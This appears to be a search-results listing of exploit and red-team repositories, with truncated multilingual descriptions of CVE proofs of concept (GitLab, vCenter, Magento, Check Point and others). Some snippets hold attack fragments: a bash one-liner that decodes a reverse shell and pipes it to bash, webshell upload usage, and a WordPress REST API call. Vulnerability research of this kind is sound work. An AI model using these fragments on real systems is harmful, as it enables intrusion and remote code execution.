478813 matches found
CVE-2026-44024_exploit
CVE-2026-44024——Fluentd outfile $tag 路径遍历导致的任意文件写入 未认证的任意文件写入存在于 Fluentd 的 outfile 插件中，通过 $tag 占位符触发。 outfile 允许运维人员使用 $tag 占位符来模板化输出路径（例如 path /var/log/fluent/$tag）。Outputextractplaceholders（lib/fluent/plugin/output.rb）会将事件的标签替换到路径中，且不清理../（CWE-22）： if str.include?'$tag' rvalue =...
CVE-2026-22241
🚨 CVE-2026-22241 - Open eClass 主题导入远程代码执行 📌 漏洞概述 Open eClass （又称 GUnet eClass）是一个广泛使用的开源学习管理系统（LMS），其主题导入 功能中存在一个严重的不受限制的文件上传 漏洞。 经过身份验证的管理员可以上传恶意 ZIP 文件，从而导致在服务器上远程执行代码（RCE） 。 ⚠️ 受影响版本 版本| 状态 ---|--- Open eClass 4.2| 受影响 Open eClass ≥ 4.2| 已修复 🛠️ 漏洞详情 CVE ID ：CVE-2026-22241 严重性 ：高危（CVSS 7.3） 类型...
CVE-2022-46364-htb-ctf
DevArea SOAP 利用工具 CVE-2022-46364 描述 此专用漏洞利用工具针对 Hack The Box 上的 DevArea 环境。它利用 Apache CXF 3.2.14 中的一个关键漏洞 CVE-2022-46364 来执行 本地文件包含 LFI 和 服务器端请求伪造 SSRF 。 该脚本滥用了 MTOM/XOP （消息传输优化机制）处理引擎。通过注入一个 元素，我们强制服务器的 AttachmentDeserializer 获取本地系统文件或内部网络资源，并将它们反射回 SOAP 响应中。 特性 自动化的多部分构造： 处理触发 XOP 处理所需的复杂...
Mangle
このリポジトリはアーカイブされました Mangleの最新バージョンを表示したり、Issueを提出するには、https://github.com/Tylous/Mangle を参照してください。 Mangle 作者: Tyl0us Source Zero Con 2022 で紹介...
CVE-2025-4602
eMagicOne Store Manager para WooCommerce = 1.2.5 - Lectura Arbitraria de Archivos No Autenticada El plugin Administrador de Tienda eMagicOne para WooCommerce expone un punto final de protocolo de gestión remota ?connector=bridge que permite operaciones de eliminación de archivos en el servidor. E...
cve-2022-23636-poc
CVE-2022-23626 - m1k1oのブログ 認証済みRCE m1k1oのブログ v1.3以下におけるファイルアップロードの脆弱性を利用した認証済みリモートコード実行 説明 ajax.php?action=uploadimageエンドポイントはアップロードされたファイルタイプを適切に検証しないため、認証済みユーザーが画像に偽装したPHPウェブシェルをアップロードできます。攻撃者はその後、アップロードされたファイルに直接リクエストすることで実行をトリガーできます。 参照 EDB-50943 CVE-2022-23626 m1k1o/blog GitHub 影響を受けるバージョン...
CVE-2024-34102
CVE-2024-34102 - CosmicSting XXE 漏洞利用 针对 CVE-2024-34102 CosmicSting 的漏洞利用 - Adobe Commerce 和 Magento 中的 XML 外部实体 XXE 漏洞。 📋 关于漏洞 CVE-2024-34102 是一个严重的 XXE（XML 外部实体）漏洞，影响范围： Adobe Commerce 2.4.7、2.4.6-p5、2.4.5-p7、2.4.4-p8 及更早版本 Magento Open Source（相同版本） 该漏洞允许未经身份验证的攻击者： 📄 读取服务器上的任意文件 🔐 窃取凭据和敏感配置 💾...
GitLab-preauth-RCE_CVE-2021-22205
GitLab-preauth-RCECVE-2021-22205 GitLab 预认证 RCE（CVE-2021-22205）的单行 Bash PoC t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...
POC_CVE-2025-69194
CVE-2025-69194: GNU Wget2 路径遍历漏洞 📝 描述 CVE-2025-69194 的 PoC，这是一个影响 GNU Wget2 = 2.2.0（已在 v1.99.1 上验证）的严重路径遍历漏洞。攻击者通过提供包含恶意 file name 属性的 Metalink 文件，可在受害者文件系统上实现任意文件写入或覆盖。 当 Wget2 使用 --force-metalink 选项处理 Metalink 文件时，未能正确清理目录遍历序列（例如 ../../）。若攻击者覆盖敏感系统文件（如...
CVE-2021-41579-LCDS-LAquis-SCADA-4.3.1.1085-Arbitrary-File-Write
LAquis SCADA 任意文件写入 👨💻 作者 Mohammed Idrees Banyamer 🐦 Instagram: @banyamersecurity CVE-2021-41579的概念验证利用程序 - 通过恶意 .els 项目文件在 LCDS LAquis SCADA ≤ 4.3.1.1085 中实现任意文件写入。 🚨 漏洞描述 CVE-2021-41579 是 LCDS LAquis SCADA 版本 ≤ 4.3.1.1085 中的一个客户端漏洞。 攻击者可以构造一个包含路径遍历序列（......\）的恶意 .els 项目文件。当受害者打开该文件并点击 "Play"...
CVE-2024-24919---Exploit-Script
CVE-2024-24919---Exploit-Script 説明 CVE-2024-24919はCheck Point Security Gatewayデバイスの脆弱性であり、パストラバーサルを悪用して機密ファイルへの不正アクセスを可能にします。この脆弱性により、攻撃者は認証なしでターゲットシステム内の特定のファイルの内容を読み取ることができます。 DORK FOFA: title="Check Point SSL Network Extender"...
enumhandles_BOF
enumhandlesBOF 此 BOF 可用于识别持有给定文件句柄的进程。这对于识别哪个进程正在锁定磁盘上的文件非常有用。 用法 限制 我发现 x86 beacon 在尝试枚举与 x64 映像关联的句柄时有时会崩溃。例如，运行 enumhandles c:\windows\sysnative\svchost.exe 可能会导致崩溃。 致谢 此技术的所有功劳归功于 Grzegorz Tworek: 关于此技术的具体推文可在此处找到。...
windows-api-function-cheatsheets
Windows API 函数速查表 联系方式 🌨️ Tetsuo: https://www.x.com/tetsuo 目录 Windows API 函数速查表 文件操作 进程管理 内存管理 线程管理 动态链接库（DLL）管理 同步 进程间通信 Windows 钩子 加密 调试 Winsock 注册表操作 错误处理 资源管理 Unicode 字符串函数 字符串长度 字符串复制 字符串拼接 字符串比较 字符串搜索 字符分类与转换 Win32 结构体速查表 常用结构体 Win32 套接字结构体速查表 winsock.h Win32 套接字结构体速查表 winsock2.h Win32...
zip_smuggling
zipsmuggling 这个 Python 工具能创建在文件结构中嵌入额外数据的 zip 文件。这些额外数据在检查或解压 zip 时不可见/不会显示，但可以通过 zip 文件中的 Windows 快捷方式文件（LNK）使用 powershell 检索。 用法 脚本需要你指定 zip 文件 / 快捷方式文件 / 被夹带文件的名称，以及你想要夹带的文件/数据： python3 zipsmuggle.py importantdata /home/ubuntu/zipsmuggling/testdata.txt 这将在脚本文件夹中生成 importantdata.zip。将此 zip 文件传输...
CVE-2025-12137
1 使用当前 nonce 调用插件 REST API 的辅助函数 async function iwpFetchpath, method='GET', body const nonce = window?.wpApiSettings?.nonce || jQuery?.ajaxSettings?.headers?.'X-WP-Nonce'; const res = await fetch$location.origin/wordpress/wp-json/iwp/v1$path, method, headers: 'Content-Type':'application/json',...
CVE-2021-21972
Usage:CVE-2021-21972.py option -u or --url：目标url -t or --type：Payload类型（ssh/webshell -f or --file：要上传的文件（webshell或authorizedkeys） 例如：CVE-2021-21972.py -u https://127.0.0.1 -t webshell -f shell.jsp -p or --proxy：设置代理 例如：CVE-2021-21972.py -u https://127.0.0.1 -t webshell -f shell.jsp -p...
CVE-2021-21978
CVE-2021-21978 CVE-2021-21978 RCE exp 影响版本 VMware View Planner Harness 4.X 与 CVE-2021-21978 类似，该漏洞可以在未授权访问的情况下，上传任意文件，并通过修改自带 py 脚本实现远程代码执行。 值得注意的是，执行命令是在 docker 容器中，并不是直接在系统中执行。 用法： go run CVE-2021-21978.go -h -c...
CVE-2020-1938-Tool
CVE-2020-1938-Tool まず、AJPプロトコルリクエスト構築ツールAJPY（Pythonライブラリ）を提供してくれたhypn0sに感謝します。本プロジェクトはこれを基に、Ghostcat脆弱性サイトの一括検出を実装しています。 使い方 現在、2つの機能があります。 usage: tomcat.py -h readfile,scanfiles ... positional arguments: readfile,scanfiles readfile Exploit CVE-2020-1938 scanfiles scan a file list optional...
CVE-2024-24576-PoC-Python
CVE-2024-24576-Poc-Python 针对此漏洞的快速 POC，漏洞披露见 https://flatt.tech/research/posts/batbadbut-you-cant-securely-execute-commands-on-windows/ 运行脚本后，它会要求传递一个参数给 BAT 文件。 在截图中可以看到，通过添加双引号，Windows 用于调用 cmd 的底层 API 可以被绕过，从而实现任意命令执行，本例中我们打开了 calc.exe。 显然，这段代码本身并非恶意，它只是用于演示：即使经过清理的输入（除非你移除所有双引号），如果它调用的是 BAT...